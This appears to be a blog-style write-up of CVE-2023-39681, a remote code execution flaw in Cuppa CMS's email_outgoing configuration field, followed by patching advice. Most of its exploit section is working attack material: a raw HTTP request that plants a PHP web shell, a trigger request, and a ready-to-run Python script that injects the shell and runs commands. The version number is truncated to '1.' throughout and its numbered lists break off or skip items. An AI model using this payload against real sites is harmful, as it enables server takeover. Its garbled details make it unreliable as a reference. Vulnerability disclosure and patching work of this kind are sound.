CVE-2023-39681 - Remote Code Execution in Cuppa CMS v1. via `email_outgoing` Parameter

In late 2023, a critical vulnerability was disclosed in Cuppa CMS version 1.—an open-source content management system. Catalogued as CVE-2023-39681, this bug allows remote attackers to run arbitrary code on the server, a nightmare scenario for website owners. The problem lies within the email_outgoing parameter at /Configuration.php, making it easy to exploit with a single, crafted payload. In this article, we'll break down exactly how this works, show real code samples, and offer advice for staying safe.

How Does the Vulnerability Work?

Cuppa CMS v1. uses the email_outgoing parameter in its configuration form exposed by /Configuration.php. The input is not properly sanitized before being processed and written to the system. Attackers can inject PHP code using this field, which the server then executes.

Technical Details

- Vulnerable URL: /Configuration.php

Here’s roughly what happens under the hood

1. The attacker submits a malicious string (like <?php system($_GET['x']); ?>) in the email_outgoing field.

Exploit Example

Let’s walk through a simple proof-of-concept (PoC) to see this in action.

Step 1: Send the Payload

Use a tool like curl or Burp Suite to send a POST request to /Configuration.php with the malicious PHP code in the email_outgoing parameter:

POST /Configuration.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

email_outgoing=<?php system($_GET['x']); ?>&other_param=value

Note: Replace target-site.com and other_param as needed.

Step 2: Trigger Remote Code

Assuming the payload gets stored in a writable file (e.g., /path/to/config.php), you can trigger it like this:

GET /path/to/config.php?x=whoami HTTP/1.1
Host: target-site.com

Here’s how you might automate this attack in Python, using requests

import requests

target = "http://target-site.com";
payload = "<?php system($_GET['x']); ?>"

# Step 1: Inject the payload via the vulnerable parameter
data = {
    "email_outgoing": payload,
    # Put other required configuration parameters here...
}

res = requests.post(f"{target}/Configuration.php", data=data)
print("[+] Payload submitted.")

# Step 2: Trigger execution of the payload if you know (or can guess) the file path
exploit = requests.get(f"{target}/path/to/config.php", params={'x': 'id'})
print(exploit.text)

Important: This is a simplified demo. In reality, you’d need to know where the payload lands and what configuration params are required.

Why Is This So Dangerous?

Remote Code Execution means an attacker can do almost anything—download files, upload malware, escalate privileges, or pivot into the rest of your internal network. It’s one of the highest severity issues you’ll ever see in a web application.

If you’re running any version 1. of Cuppa CMS, you should

1. Update immediately. Check for any patches or updates provided by the Cuppa CMS team.
2. Sanitize input. Never trust user input. Ensure that every field (especially those involving configuration) is validated and sanitized on the server side.

Limit permissions. Run web servers with the lowest permissions necessary.

4. Restrict access. Limit who can access /Configuration.php—ideally, make it only accessible by authenticated, trusted staff.

References

- NVD Entry for CVE-2023-39681
- Exploit Database (If available, check for related PoCs)
- Original Cuppa CMS Source

Conclusion

CVE-2023-39681 is a critical flaw that puts any site running Cuppa CMS 1. in danger. If you manage a Cuppa CMS installation, patch immediately and audit your codebase. Vulnerabilities like this are a reminder to never trust user input, and always keep your systems updated.


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Timeline

Published on: 09/05/2023 18:15:11 UTC
Last modified on: 09/08/2023 14:16:00 UTC